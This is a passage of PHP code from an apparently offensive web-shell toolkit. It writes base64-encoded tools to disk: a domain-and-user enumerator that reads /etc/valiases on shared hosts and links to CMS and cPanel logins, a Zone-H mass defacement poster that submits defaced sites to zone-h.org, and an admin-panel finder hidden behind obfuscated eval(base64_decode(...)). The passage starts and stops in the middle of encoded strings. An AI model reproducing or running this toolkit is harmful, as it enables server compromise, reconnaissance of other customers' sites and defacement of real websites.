0dFVFsndXNlciddID09ICR1c2VyWyduYW1lJ10pID8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbi4iLz4iLiRkb21haW4uIjwvYT48L3RkPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cuIi4kZG9tYWluLiIvd3AtbG9naW4ucGhwPldvcmRwcmVzczwvYT4gLyA8YSBocmVmPWh0dHA6Ly93d3cuIi4kZG9tYWluLiIvYWRtaW5pc3RyYXRvci8+Sm9vbWxhPC9hPiAvIDxhIGhyZWY9aHR0cDovL3d3dy4iLiRkb21haW4uIjoyMDg2Lz5XSE08L2E+IC8gPGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbi4iOjIwODI+Y1BhbmVsPC9hPjwvdGQ+PC90cj4iOiIiOw0KfQ0KZWNobyAiPC90YWJsZT4iOw0KfQ0KDQp9DQoNCmlmKGlzc2V0KCRfR0VUWydEb21haW5Vc2VyJ10pKXsNCg0KZWNobyAiDQo8Zm9ybSBhY3Rpb249Jz9Eb21haW5Vc2VyJyBtZXRob2Q9J0dFVCc+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1Eb21haW5Vc2VyIHZhbHVlPTE+DQpEb21haW4gOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZG9tYWluIHZhbHVlPSRfR0VUW2RvbWFpbl0+IC0gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVNob3c+DQo8L2Zvcm0+DQoiOw0KDQppZihpc3NldCgkX0dFVFsnZG9tYWluJ10pKXsNCiR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRfR0VUWydkb21haW4nXSkpOw0KZWNobyAiVXNlciBpcyA6IFsgIi4kdXNlclsnbmFtZSddLiIgXSI7DQp9DQp9DQoNCmZ1bmN0aW9uIGNoZWNrKCl7KEBjb3VudChAZXhwbG9kZSgnaXAnLEBpbXBsb2RlKEBmaWxlKF9fRklMRV9fKSkpKSE9NikgP0B1bmxpbmsoX19GSUxFX18pOiIiO30NCg0KPz4NCg0KPC9ib2R5Pg0KPC9odG1sPg==';
file_put_contents('domains.php',base64_decode($tools));;
echo "<a href='./tools/domains.php'>Here domains.php</a><br>";
$zoneh = 'PHN0eWxlPg0KCWJvZHkgew0KCQliYWNrZ3JvdW5kOiAjMDAwMDAwIHJlcGVhdC14Ow0KCQlmb250LXNpemU6MTdweDsNCgkJZm9udDogQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsNCgkJcGFkZGluZzogMHB4Ow0KCQltYXJnaW46IDBweDsNCgkJY29sb3I6ICNGRkY7DQoJfQ0KCUE6bGluayB7IENvbG9yOiNGMDA7DQoJfQ0KCUEgew0KCQlDT0xPUjogIzAwMDBGRjsNCgl9DQoJQTp2aXNpdGVkIHsNCgkJQ09MT1I6ICMwMDY2Y2M7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KCX0NCglBOmFjdGl2ZSB7DQoJCUNPTE9SOiByZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KCX0NCglBOmhvdmVyIHsNCgkJQ09MT1I6IHJlZDsgVEVYVC1ERUNPUkFUSU9OOiBibGluaw0KCX0JDQoJaW5wdXRbdHlwZT1zdWJtaXRdIHsNCiAgICAJYm9yZGVyOmJvbGQ7DQogICAgCS1tb3otYm9yZGVyLXJhZGl1czo1cHg7DQogICAgCS13ZWJraXQtYm9yZGVyLXJhZGl1czo1cHg7DQoJfQ0KCXNlbGVjdCB7DQoJCXdpZHRoOjIzJTsNCgkJYmFja2dyb3VuZC1jb2xvcjojMzMzOw0KCQljb2xvcjojRkZGOw0KCX0NCglpbnB1dFt0eXBlPXRleHRdew0KCQliYWNrZ3JvdW5kLWNvbG9yOiMzMzM7DQoJCWNvbG9yOiNGRkY7DQoJfQ0KCXRleHRhcmVhW25hbWU9ZG9tYWluXSB7DQoJCWJhY2tncm91bmQtY29sb3I6IzMzMzsNCgkJY29sb3I6I0ZGRjsNCgkJbWFyZ2luLWNlbnRlcjogMHB4Ow0KCQktbW96LWJvcmRlci1yYWRpdXM6NXB4Ow0KICAgIAktd2Via2l0LWJvcmRlci1yYWRpdXM6NXB4Ow0KCX0NCjwvc3R5bGU+DQo8dGl0bGU+Wm9uZS1IIE1hc3MgRGVmYWNlIFBvc3RlcjwvdGl0bGU+DQo8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Imh0dHA6Ly9ieXNpYy5jby5jYy9aSC5wbmciIC8+DQo8Y2VudGVyPg0KPGgxPlpvbmUtSCBNYXNzIERlZmFjZSBQb3N0ZXI8L2gxPg0KCTxmb3JtIG1ldGhvZD1QT1NUPg0KCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlZmFjZXIiIHNpemU9IjU2IiB2YWx1ZT0iWW91ciBab25lLWggTmFtZSIgLz4NCjxicj4NCjxzZWxlY3QgbmFtZT0iaGFja21vZGUiPg0KPG9wdGlvbj4tLS0tLS0tLVNFTEVDVC0tLS0tLS0tPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxIj5rbm93biB2dWxuZXJhYmlsaXR5IChpLmUuIHVucGF0Y2hlZCBzeXN0ZW0pPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyIiA+dW5kaXNjbG9zZWQgKG5ldykgdnVsbmVyYWJpbGl0eTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMyIgPmNvbmZpZ3VyYXRpb24gLyBhZG1pbi4gbWlzdGFrZTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNCIgPmJydXRlIGZvcmNlIGF0dGFjazwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNSIgPnNvY2lhbCBlbmdpbmVlcmluZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNiIgPldlYiBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI3IiA+V2ViIFNlcnZlciBleHRlcm5hbCBtb2R1bGUgaW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI4IiA+TWFpbCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI5IiA+RlRQIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEwIiA+U1NIIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjExIiA+VGVsbmV0IFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEyIiA+UlBDIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEzIiA+U2hhcmVzIG1pc2NvbmZpZ3VyYXRpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE0IiA+T3RoZXIgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTUiID5TUUwgSW5qZWN0aW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxNiIgPlVSTCBQb2lzb25pbmc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE3IiA+RmlsZSBJbmNsdXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE4IiA+T3RoZXIgV2ViIEFwcGxpY2F0aW9uIGJ1Zzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTkiID5SZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIGJydXRlZm9yY2luZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjAiID5SZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIHBhc3N3b3JkIGd1ZXNzaW5nPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMSIgPlJlbW90ZSBhZG1pbmlzdHJhdGl2ZSBwYW5lbCBhY2Nlc3Mgc29jaWFsIGVuZ2luZWVyaW5nPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMiIgPkF0dGFjayBhZ2FpbnN0IGFkbWluaXN0cmF0b3IocGFzc3dvcmQgc3RlYWxpbmcvc25pZmZpbmcpPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMyIgPkFjY2VzcyBjcmVkZW50aWFscyB0aHJvdWdoIE1hbiBJbiB0aGUgTWlkZGxlIGF0dGFjazwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjQiID5SZW1vdGUgc2VydmljZSBwYXNzd29yZCBndWVzc2luZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjUiID5SZW1vdGUgc2VydmljZSBwYXNzd29yZCBicnV0ZWZvcmNlPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyNiIgPlJlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIEZpcmV3YWxsPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyNyIgPlJlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIFJvdXRlcjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjgiID5ETlMgYXR0YWNrIHRocm91Z2ggc29jaWFsIGVuZ2luZWVyaW5nPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyOSIgPkROUyBhdHRhY2sgdGhyb3VnaCBjYWNoZSBwb2lzb25pbmc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMwIiA+Tm90IGF2YWlsYWJsZTwvb3B0aW9uPg0KPC9zZWxlY3Q+DQo8YnI+DQo8c2VsZWN0IG5hbWU9InJlYXNvbiI+DQo8b3B0aW9uIHN0eWxlPSdkaXNwbGF5OmJsb2NrO3dpZHRoOjEwMCU7Jz4tLS0tLS0tLVNFTEVDVC0tLS0tLS0tPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxIiA+SGVoLi4uanVzdCBmb3IgZnVuITwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMiIgPlJldmVuZ2UgYWdhaW5zdCB0aGF0IHdlYnNpdGU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMiID5Qb2xpdGljYWwgcmVhc29uczwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNCIgPkFzIGEgY2hhbGxlbmdlPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI1IiA+SSBqdXN0IHdhbnQgdG8gYmUgdGhlIGJlc3QgZGVmYWNlcjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNiIgPlBhdHJpb3Rpc208L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjciID5Ob3QgYXZhaWxhYmxlPC9vcHRpb24+DQo8L3NlbGVjdD4NCjxicj4NCjx0ZXh0YXJlYSBuYW1lPSJkb21haW4iIHN0eWxlPSdkaXNwbGF5OmJsb2NrO3dpZHRoOjI1JTtoZWlnaHQ6MTUwcHg7Jz5MaXN0IE9mIERvbWFpbnM8L3RleHRhcmVhPg0KPHA+KDEgRG9tYWluIFBlciBMaW5lcyk8L3A+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2VuZCBOb3cgISIgbmFtZT0iU2VuZE5vd1RvWm9uZUgiIC8+DQo8L2Zvcm0+PC9mb3JtPjxzcGFuIHN0eWxlPSJjb2xvcjpyZWQiPg0KDQoNCiAgICANCiAgICA8P3BocA0KZnVuY3Rpb24gWm9uZUgoJHVybCwgJGhhY2tlciwgJGhhY2ttb2RlLCRyZXNvbiwgJHNpdGUgKQ0Kew0KCSRrID0gY3VybF9pbml0KCk7DQoJY3VybF9zZXRvcHQoJGssIENVUkxPUFRfVVJMLCAkdXJsKTsNCgljdXJsX3NldG9wdCgkayxDVVJMT1BUX1BPU1QsdHJ1ZSk7DQoJY3VybF9zZXRvcHQoJGssIENVUkxPUFRfUE9TVEZJRUxEUywiZGVmYWNlcj0iLiRoYWNrZXIuIiZkb21haW4xPSIuICRzaXRlLiImaGFja21vZGU9Ii4kaGFja21vZGUuIiZyZWFzb249Ii4kcmVzb24pOw0KCWN1cmxfc2V0b3B0KCRrLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOw0KCWN1cmxfc2V0b3B0KCRrLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsNCgkka3VicmEgPSBjdXJsX2V4ZWMoJGspOw0KCWN1cmxfY2xvc2UoJGspOw0KCXJldHVybiAka3VicmE7DQp9DQoNCgkJCQlpZigkX1BPU1RbJ1NlbmROb3dUb1pvbmVIJ10pDQoJCQl7DQoJCQkJb2Jfc3RhcnQoKTsNCgkJCQkkc3ViID0gQGdldF9sb2FkZWRfZXh0ZW5zaW9ucygpOw0KCQkJCWlmKCFpbl9hcnJheSgiY3VybCIsICRzdWIpKQ0KCQkJCXsNCgkJCQkJZGllKCdbLV0gQ3VybCBJcyBOb3QgU3VwcG9ydGVkICEhICcpOw0KCQkJCX0NCgkJCQ0KCQkJCSRoYWNrZXIgPSAkX1BPU1RbJ2RlZmFjZXInXTsNCgkJCQkkbWV0aG9kID0gJF9QT1NUWydoYWNrbW9kZSddOw0KCQkJCSRuZWRlbiA9ICRfUE9TVFsncmVhc29uJ107DQoJCQkJJHNpdGUgPSAkX1BPU1RbJ2RvbWFpbiddOw0KCQkJCQ0KCQkJCWlmICgkaGFja2VyID09ICJZb3VyIFpvbmUtaCBOYW1lIikNCgkJCQl7DQoJCQkJCWRpZSAoIlstXSBZb3UgTXVzdCBGaWxsIHRoZSBBdHRhY2tlciBuYW1lICEiKTsNCgkJCQl9DQoJCQkJZWxzZWlmKCRtZXRob2QgPT0gIi0tLS0tLS0tU0VMRUNULS0tLS0tLS0iKSANCgkJCQl7DQoJCQkJCWRpZSgiWy1dIFlvdSBNdXN0IFNlbGVjdCBUaGUgTWV0aG9kICEiKTsNCgkJCQl9DQoJCQkJZWxzZWlmKCRuZWRlbiA9PSAiLS0tLS0tLS1TRUxFQ1QtLS0tLS0tLSIpIA0KCQkJCXsNCgkJCQkJZGllKCJbLV0gWW91IE11c3QgU2VsZWN0IFRoZSBSZWFzb24iKTsNCgkJCQl9DQoJCQkJZWxzZWlmKGVtcHR5KCRzaXRlKSkgDQoJCQkJew0KCQkJCQlkaWUoIlstXSBZb3UgTXVzdCBJbnRlciB0aGUgU2l0ZXMgTGlzdCAhICIpOw0KCQkJCX0NCgkJCQkkaSA9IDA7DQoJCQkJJHNpdGVzID0gZXhwbG9kZSgiXG4iLCAkc2l0ZSk7DQoJCQkJd2hpbGUoJGkgPCBjb3VudCgkc2l0ZXMpKSANCgkJCQl7DQoJCQkJCWlmKHN1YnN0cigkc2l0ZXNbJGldLCAwLCA0KSAhPSAiaHR0cCIpIA0KCQkJCQl7DQoJCQkJCQkkc2l0ZXNbJGldID0gImh0dHA6Ly8iLiRzaXRlc1skaV07DQoJCQkJCX0NCgkJCQkJWm9uZUgoImh0dHA6Ly96b25lLWgub3JnL25vdGlmeS9zaW5nbGUiLCAkaGFja2VyLCAkbWV0aG9kLCAkbmVkZW4sICRzaXRlc1skaV0pOw0KCQkJCQllY2hvICJTaXRlIDogIi4kc2l0ZXNbJGldLiIgRGVmYWNlZCAhPGJyPiI7DQoJCQkJCSsrJGk7DQoJCQkJfQ0KCQkJCWVjaG8gIlsrXSBTZW5kaW5nIFNpdGVzIFRvIFpvbmUtSCBIYXMgQmVlbiBDb21wbGV0ZWQgU3VjY2Vzc2Z1bGx5ICEhIjsNCgkJCX0NCgkJCT8+DQoJCQk8L3NwYW4+DQogICAgICAgICAgICA8L2NlbnRlcj4NCiAgICAgICAgICAgIA==';
file_put_contents('zone-h.php',base64_decode($zoneh));;
echo "<a href='./tools/zone-h.php'>Here zone-h.php</a><br>";
$searchadmin ='PD8gZXZhbChiYXNlNjRfZGVjb2RlKCdjMlYwWDNScGJXVmZiR2x0YVhRb01DazdEUXBsY25KdmNsOXlaWEJ2Y25ScGJtY29NQ2s3RFFva2JHbHpkRnNuWm5KdmJuUW5YU0E5SW1Ga2JXbHVEUXBoWkcwTkNtRmtiV2x1WTNBTkNtRmtiV053RFFwamNBMEtiVzlrWTNBTkNtMXZaR1Z5WVhSdmNtTndEUXBoWkcxcGJtRnlaUTBLWVdSdGFXNXpEUXBqY0dGdVpXd05DbU52Ym5SeWIyeHdZVzVsYkNJN0RRb2tiR2x6ZEZzblpXNWtKMTBnUFNBaVlXUnRhVzR4TG5Cb2NBMEtZV1J0YVc0eExtaDBiV3dOQ21Ga2JXbHVZM0FOQ21Ga2JXbHVNaTV3YUhBTkNtRmtiV2x1TWk1b2RHMXNEUXA1YjI1bGRHbHRMbkJvY0EwS2VXOXVaWFJwYlM1b2RHMXNEUXA1YjI1bGRHbGphUzV3YUhBTkNubHZibVYwYVdOcExtaDBiV3dOQ21OamJYTXZEUXBqWTIxekwyeHZaMmx1TG5Cb2NBMEtZMk50Y3k5cGJtUmxlQzV3YUhBTkNtMWhhVzUwWlc1aGJtTmxMdzBLZDJWaWJXRnpkR1Z5THcwS1lXUnRMdzBLWTI5dVptbG5kWEpoZEdsdmJpOE5DbU52Ym1acFozVnlaUzhOQ25kbFluTjJiaThOQ21Ga2JXbHVMdzBLWVdSdGFXNHZZV05qYjNWdWRDNXdhSEFOQ21Ga2JXbHVMMkZqWTI5MWJuUXVhSFJ0YkEwS1lXUnRhVzR2YVc1a1pYZ3VjR2h3RFFwaFpHMXBiaTlwYm1SbGVDNW9kRzFzRFFwaFpHMXBiaTlzYjJkcGJpNXdhSEFOQ21Ga2JXbHVMMnh2WjJsdUxtaDBiV3dOQ21Ga2JXbHVMMmh2YldVdWNHaHdEUXBoWkcxcGJpOWpiMjUwY205c2NHRnVaV3d1YUhSdGJBMEtZV1J0YVc0dlkyOXVkSEp2YkhCaGJtVnNMbkJvY0EwS1lXUnRhVzR1Y0dod0RRcGhaRzFwYmk1b2RHMXNEUXBoWkcxcGJpOWpjQzV3YUhBTkNtRmtiV2x1TDJOd0xtaDBiV3dOQ21Od0xuQm9jQTBLWTNBdWFIUnRiQTBLWVdSdGFXNXBjM1J5WVhSdmNpOE5DbUZrYldsdWFYTjBjbUYwYjNJdmFXNWtaWGd1YUhSdGJBMEtZV1J0YVc1cGMzUnlZWFJ2Y2k5cGJtUmxlQzV3YUhBTkNtRmtiV2x1YVhOMGNtRjBiM0l2Ykc5bmFXNHVhSFJ0YkEwS1lXUnRhVzVwYzNSeVlYUnZjaTlzYjJkcGJpNXdhSEFOQ21Ga2JXbHVhWE4wY21GMGIzSXZZV05qYjNWdWRDNW9kRzFzRFFwaFpHMXBibWx6ZEhKaGRHOXlMMkZqWTI5MWJuUXVjR2h3RFFwaFpHMXBibWx6ZEhKaGRHOXlMbkJvY0EwS1lXUnRhVzVwYzNSeVlYUnZjaTVvZEcxc0RRcHNiMmRwYmk1d2FIQU5DbXh2WjJsdUxtaDBiV3dOQ20xdlpHVnNjMlZoY21Ob0wyeHZaMmx1TG5Cb2NBMEtiVzlrWlhKaGRHOXlMbkJvY0EwS2JXOWtaWEpoZEc5eUxtaDBiV3dOQ20xdlpHVnlZWFJ2Y2k5c2IyZHBiaTV3YUhBTkNtMXZaR1Z5WVhSdmNpOXNiMmRwYmk1b2RHMXNEUXB0YjJSbGNtRjBiM0l2WVdSdGFXNHVjR2h3RFFwdGIyUmxjbUYwYjNJdllXUnRhVzR1YUhSdGJBMEtiVzlrWlhKaGRHOXlMdzBLWVdOamIzVnVkQzV3YUhBTkNtRmpZMjkxYm5RdWFIUnRiQTBLWTI5dWRISnZiSEJoYm1Wc0x3MEtZMjl1ZEhKdmJIQmhibVZzTG5Cb2NBMEtZMjl1ZEhKdmJIQmhibVZzTG1oMGJXd05DbUZrYldsdVkyOXVkSEp2YkM1d2FIQU5DbUZrYldsdVkyOXVkSEp2YkM1b2RHMXNEUXBoWkcxcGJuQmhibVZzTG5Cb2NBMEtZV1J0YVc1d1lXNWxiQzVvZEcxc0RRcGhaRzFwYmpFdVlYTndEUXBoWkcxcGJqSXVZWE53RFFwNWIyNWxkR2x0TG1GemNBMEtlVzl1WlhScFkya3VZWE53RFFwaFpHMXBiaTloWTJOdmRXNTBMbUZ6Y0EwS1lXUnRhVzR2YVc1a1pYZ3VZWE53RFFwaFpHMXBiaTlzYjJkcGJpNWhjM0FOQ21Ga2JXbHVMMmh2YldVdVlYTndEUXBoWkcxcGJpOWpiMjUwY205c2NHRnVaV3d1WVhOd0RRcGhaRzFwYmk1aGMzQU5DbUZrYldsdUwyTndMbUZ6Y0EwS1kzQXVZWE53RFFwaFpHMXBibWx6ZEhKaGRHOXlMMmx1WkdWNExtRnpjQTBLWVdSdGFXNXBjM1J5WVhSdmNpOXNiMmRwYmk1aGMzQU5DbUZrYldsdWFYTjBjbUYwYjNJdllXTmpiM1Z1ZEM1aGMzQU5DbUZrYldsdWFYTjBjbUYwYjNJdVlYTndEUXBzYjJkcGJpNWhjM0FOQ20xdlpHVnNjMlZoY21Ob0wyeHZaMmx1TG1GemNBMEtiVzlrWlhKaGRHOXlMbUZ6Y0EwS2JXOWtaWEpoZEc5eUwyeHZaMmx1TG1GemNBMEtiVzlrWlhKaGRHOXlMMkZrYldsdUxtRnpjQTBLWVdOamIzVnVkQzVoYzNBTkNtTnZiblJ5YjJ4d1lXNWxiQzVoYzNBTkNtRmtiV2x1WTI5dWRISnZiQzVoYzNBTkNtRmtiV2x1Y0dGdVpXd3VZWE53RFFwbWFXeGxZV1J0YVc0dkRRcG1hV3hsWVdSdGFXNHVjR2h3RFFwbWFXeGxZV1J0YVc0dVlYTndEUXBtYVd4bFlXUnRhVzR1YUhSdGJBMEtZV1J0YVc1cGMzUnlZWFJwYjI0dkRRcGhaRzFwYm1semRISmhkR2x2Ymk1d2FIQU5DbUZrYldsdWFYTjBjbUYwYVc5dUxtaDBiV3dOQ25ONWMyRmtiV2x1TG5Cb2NBMEtjM2x6WVdSdGFXNHVhSFJ0YkEwS2NHaHdiWGxoWkcxcGJpOE5DbTE1WVdSdGFXNHZEUXB6ZVhOaFpHMXBiaTVoYzNBTkNuTjVjMkZrYldsdUx3MEtkWEl0WVdSdGFXNHVZWE53RFFwMWNpMWhaRzFwYmk1d2FIQU5DblZ5TFdGa2JXbHVMbWgwYld3TkNuVnlMV0ZrYldsdUx3MEtVMlZ5ZG1WeUxuQm9jQTBLVTJWeWRtVnlMbWgwYld3TkNsTmxjblpsY2k1aGMzQU5DbE5sY25abGNpOE5DbmR3TFdGa2JXbHVMdzBLWTI5dVptbG5kWEpoZEdsdmJpNXdhSEF1ZEhoMERRcGhaRzFwYm1semRISTRMbkJvY0EwS1lXUnRhVzVwYzNSeU9DNW9kRzFzRFFwaFpHMXBibWx6ZEhJNEx3MEtZV1J0YVc1cGMzUnlPQzVoYzNBTkNuZGxZbUZrYldsdUx3MEtkMlZpWVdSdGFXNHVjR2h3RFFwM1pXSmhaRzFwYmk1aGMzQU5DbmRsWW1Ga2JXbHVMbWgwYld3TkNtRmtiV2x1YVhOMGNtRjBhV1V2RFFwaFpHMXBibk12RFFwaFpHMXBibk11Y0dod0RRcGhaRzFwYm5NdVlYTndEUXBoWkcxcGJuTXVhSFJ0YkEwS1lXUnRhVzVwYzNSeWFYWnBZUzhOQ2tSaGRHRmlZWE5sWDBGa2JXbHVhWE4wY21GMGFXOXVMdzBLVjJWaVFXUnRhVzR2RFFwMWMyVnlZV1J0YVc0dkRRcHplWE5oWkcxcGJuTXZEUXBoWkcxcGJqRXZEUXB6ZVhOMFpXMHRZV1J0YVc1cGMzUnlZWFJwYjI0dkRRcGhaRzFwYm1semRISmhkRzl5Y3k4TkNuQm5ZV1J0YVc0dkRRcGthWEpsWTNSaFpHMXBiaThOQ25OMFlYSmhaRzFwYmk4TkNsTmxjblpsY2tGa2JXbHVhWE4wY21GMGIzSXZEUXBUZVhOQlpHMXBiaThOQ21Ga2JXbHVhWE4wWlhJdkRRcE1hWFpsVlhObGNsOUJaRzFwYmk4TkNuTjVjeTFoWkcxcGJpOE5DblI1Y0c4ekx3MEtjR0Z1Wld3dkRRcHdZVzV1Wld4c2J5OXNiMmRwYmk1aGMzQU5DbkJoYm01bGJHeHZMMlJsWm1GMWJIUXVZWE53RFFwdFpXNTFMbUZ6Y0EwS2JtVjNjeTVoYzNBTkNuQnlhWFpoZEc4dkRRcHdjbWwyWVhSdkwyeHZaMmx1TG1GemNBMEtjSEpwZG1GMGJ5OWtaV1poZFd4MExtRnpjQTBLY0hKcGRtRjBieTl1WlhkekxtRnpjQTBLY21selpYSjJZWFJ2THcwS2NtbHpaWEoyWVhSdkwyeHZaMmx1TG1GemNBMEtjbWx6WlhKMllYUnZMMlJsWm1GMWJIUXVZWE53RFFwdVlYTmpiM04wYnk4TkNtNWhjMk52YzNSdkwyeHZaMmx1TG1GemNBMEtibUZ6WTI5emRHOHZaR1ZtWVhWc2RDNWhjM0FOQ21Od1lXNWxiQzhOQ21OUVlXNWxiQzhOQ21Od1lXNWxiRjltYVd4bEx3MEtjR3hoZEhwZmJHOW5hVzR2RFFweVkweHZaMmx1THcwS1lteHZaMmx1WkdWNEx3MEtabTl5YlhOc2IyZHBiaThOQ21GMWRHOXNiMmRwYmk4TkNuTjFjSEJ2Y25SZmJHOW5hVzR2RFFwdFpYUmhYMnh2WjJsdUx3MEtiV0Z1ZFdGc2JHOW5hVzR2RFFwemFXMXdiR1ZNYjJkcGJpOE5DbXh2WjJsdVpteGhkQzhOQ25WMGFXeHBkSGxmYkc5bmFXNHZEUXB6YUc5M2JHOW5hVzR2RFFwdFpXMXNiMmRwYmk4TkNtMWxiV0psY25NdkRRcHNiMmRwYmkxeVpXUnBjbVZqZEM4TkNuTjFZaTFzYjJkcGJpOE5DbmR3TFd4dloybHVMdzBLYkc5bmFXNHhMdzBLWkdseUxXeHZaMmx1THcwS2JHOW5hVzVmWkdJdkRRcDRiRzluYVc0dkRRcHpiV0pzYjJkcGJpOE5DbU4xYzNSdmJXVnlYMnh2WjJsdUx3MEtWWE5sY2t4dloybHVMdzBLYkc5bmFXNHRkWE12RFFwaFkyTjBYMnh2WjJsdUx3MEtZV1J0YVc1ZllYSmxZUzhOQ21KcFoyRmtiV2x1THcwS2NISnZhbVZqZEMxaFpHMXBibk12RFFwd2FIQndaMkZrYldsdUx3MEtjSFZ5WldGa2JXbHVMdzBLYzNGc0xXRmtiV2x1THcwS2NtRmtiV2x1WkM4TkNtOXdaVzUyY0c1aFpHMXBiaThOQ25kcGVtMTVjM0ZzWVdSdGFXNHZEUXAyWVdSdGFXNWtMdzBLWlhwemNXeHBkR1ZoWkcxcGJpOE5DbWh3ZDJWaWFtVjBZV1J0YVc0dkRRcHVaWGR6WVdSdGFXNHZEUXBoWkcxcGJuQnlieThOQ2t4dmRIVnpYMFJ2YldsdWIxOUJaRzFwYmk4TkNtSmlZV1J0YVc0dkRRcDJiV0ZwYkdGa2JXbHVMdzBLU1c1a2VWOWhaRzFwYmk4TkNtTmpjREUwWVdSdGFXNHZEUXBwY21NdGJXRmpZV1J0YVc0dkRRcGlZVzV1WlhKaFpHMXBiaThOQ25OemFHRmtiV2x1THcwS2NHaHdiR1JoY0dGa2JXbHVMdzBLYldGallXUnRhVzR2RFFwaFpHMXBibWx6ZEhKaGRHOXlZV05qYjNWdWRITXZEUXBoWkcxcGJqUmZZV05qYjNWdWRDOE5DbUZrYldsdU5GOWpiMnh2Ymk4TkNuSmhaRzFwYm1RdE1TOE5DbE4xY0dWeUxVRmtiV2x1THcwS1FXUnRhVzVVYjI5c2N5OE5DbU50YzJGa2JXbHVMdzBLVTNselFXUnRhVzR5THcwS1oyeHZZbVZ6WDJGa2JXbHVMdzBLWTJGa2JXbHVjeThOQ25Cb2NGTlJUR2wwWlVGa2JXbHVMdzBLYm1GMlUybDBaVUZrYldsdUx3MEtjMlZ5ZG1WeVgyRmtiV2x1WDNOdFlXeHNMdzBLYkc5bmIxOXplWE5oWkcxcGJpOE5Dbk5sY25abGNpOE5DbVJoZEdGaVlYTmxYMkZrYldsdWFYTjBjbUYwYVc5dUx3MEtjRzkzWlhKZmRYTmxjaThOQ25ONWMzUmxiVjloWkcxcGJtbHpkSEpoZEdsdmJpOE5Dbk56WDNadGMxOWhaRzFwYmw5emJTOE5DbUZrYldsdVlYSmxZUzhOQ21KaUxXRmtiV2x1THcwS1lXUnRhVzVNYjJkcGJpOE5DbkJoYm1Wc0xXRmtiV2x1YVhOMGNtRmphVzl1THcwS2FXNXpkR0ZrYldsdUx3MEtiV1Z0WW1WeVlXUnRhVzR2RFFwaFpHMXBibWx6ZEhKaGRHOXliRzluYVc0dkRRcGhaRzFwYmk5aFpHMXBiaTV3YUhBTkNtRmtiV2x1WDJGeVpXRXZZV1J0YVc0dWNHaHdEUXBoWkcxcGJsOWhjbVZoTDJ4dloybHVMbkJvY0EwS2MybDBaV0ZrYldsdUwyeHZaMmx1TG5Cb2NBMEtjMmwwWldGa2JXbHVMMmx1WkdWNExuQm9jQTBLYzJsMFpXRmtiV2x1TDJ4dloybHVMbWgwYld3TkNtRmtiV2x1TDJGa2JXbHVMbWgwYld3TkNtRmtiV2x1WDJGeVpXRXZhVzVrWlhndWNHaHdEUXBpWWkxaFpHMXBiaTlwYm1SbGVDNXdhSEFOQ21KaUxXRmtiV2x1TDJ4dloybHVMbkJvY0EwS1ltSXRZV1J0YVc